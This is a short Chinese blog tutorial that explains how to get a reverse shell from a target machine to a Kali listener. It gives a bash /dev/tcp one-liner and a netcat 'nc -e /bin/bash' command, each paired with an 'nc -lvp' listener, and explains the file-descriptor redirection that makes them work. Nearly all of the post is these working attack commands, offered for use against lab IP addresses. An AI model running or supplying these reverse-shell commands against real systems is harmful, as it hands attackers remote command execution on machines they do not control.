版权声明:本文为博主原创文章,转载需注明出处。 https://blog.csdn.net/zz_Caleb/article/details/89054835
1、bash反弹shell
kali ip:192.168.10.130
目标机上执行命令:bash -i >& /dev/tcp/192.168.10.130/8888 0>&1
kali机执行命令:nc -lvp 8888
bash -i:在本地打开一个bash终端
linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
0 - stdin 代表标准输入,使用<或<< 1 - stdout 代表标准输出,使用>或>> 2 - stderr 代表标准错误输出,使用2>或2>>
还有就是>&这个符号的含义,最好的理解是这样的:
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
bash -i >& /dev/tcp/192.168.10.130/8888的执行结果就是将bash中命令的执行结果输出到kali机,而kali开启了nc对指定端口的监听模式,所以可以接收到目标机传送过来的输出结果。那么0>&1是什么作用呢,nc监听连接目标机后,尝试输入命令发现,我们输入了,命令也可以执行,但是kali端却看不到键盘的输入,0>&1就是把标准输入定向到标准输出,这样在kali机上就能看到键盘的输入了。
2、nc反弹shell(目标机上已经安装nc)
kali执行;
nc -lvp 7777
目标机执行:
扫描二维码关注公众号,回复:
5910380 查看本文章
nc -e /bin/bash 192.168.0.4 7777
这样就能拿到shell了。